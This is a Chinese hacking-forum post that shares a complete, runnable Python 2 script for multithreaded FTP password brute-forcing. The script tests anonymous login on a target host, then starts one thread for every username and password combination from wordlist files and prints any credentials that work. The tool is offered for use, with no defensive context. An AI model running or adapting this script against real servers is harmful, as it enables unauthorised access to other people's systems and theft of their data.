搜索
查看: 516|回复: 0

[Python] FTP暴力破解工具多线程版

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-9-14 14:22:09 | 显示全部楼层 |阅读模式
  1. #!/usr/bin/env python
  2. # -*- coding: gbk -*-
  3. # -*- coding: utf_8 -*-
  4. # Date: 2014/9/5
  5. # Created by 独自等待
  6. # 博客 http://www.waitalone.cn/
  7. from threading import Thread
  8. import ftplib, socket
  9. import sys, time, re


  10. def usage():
  11.     print '+' + '-' * 50 + '+'
  12.     print '\t    Python FTP暴力破解工具多线程版'
  13.     print '\t   Blog:http://www.waitalone.cn/'
  14.     print '\t\t Code BY: 独自等待'
  15.     print '\t\t Time:2014-09-05'
  16.     print '+' + '-' * 50 + '+'
  17.     if len(sys.argv) != 4:
  18.         print "用法: ftpbrute_mult.py 待破解的ip/domain 用户名列表 字典列表"
  19.         print "实例: ftpbrute_mult.py www.waitalone.cn user.txt pass.txt"
  20.         sys.exit()


  21. def brute_anony():
  22.     try:
  23.         print '[+] 测试匿名登陆……\n'
  24.         ftp = ftplib.FTP()
  25.         ftp.connect(host, 21, timeout=10)
  26.         print 'FTP消息: %s \n' % ftp.getwelcome()
  27.         ftp.login()
  28.         ftp.retrlines('LIST')
  29.         ftp.quit()
  30.         print '\n[+] 匿名登陆成功……\n'
  31.     except ftplib.all_errors:
  32.         print '\n[-] 匿名登陆失败……\n'


  33. def brute_users(user, pwd):
  34.     try:
  35.         ftp = ftplib.FTP()
  36.         ftp.connect(host, 21, timeout=10)
  37.         ftp.login(user, pwd)
  38.         ftp.retrlines('LIST')
  39.         ftp.quit()
  40.         print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd)
  41.     except ftplib.all_errors:
  42.         pass


  43. if __name__ == '__main__':
  44.     usage()
  45.     start_time = time.time()
  46.     if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
  47.         host = sys.argv[1]
  48.     else:
  49.         host = socket.gethostbyname(sys.argv[1])
  50.     userlist = [i.rstrip() for i in open(sys.argv[2])]
  51.     passlist = [j.rstrip() for j in open(sys.argv[3])]
  52.     print '目  标:%s \n' % sys.argv[1]
  53.     print '用户名:%d 条\n' % len(userlist)
  54.     print '密  码:%d 条\n' % len(passlist)
  55.     brute_anony()
  56.     print '\n[+] 暴力破解测试中……\n'
  57.     thrdlist = []
  58.     for user in userlist:
  59.         for pwd in passlist:
  60.             t = Thread(target=brute_users, args=(user, pwd))
  61.             t.start()
  62.             thrdlist.append(t)
  63.             time.sleep(0.009)
  64.     for x in thrdlist:
  65.         x.join()
  66.     print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表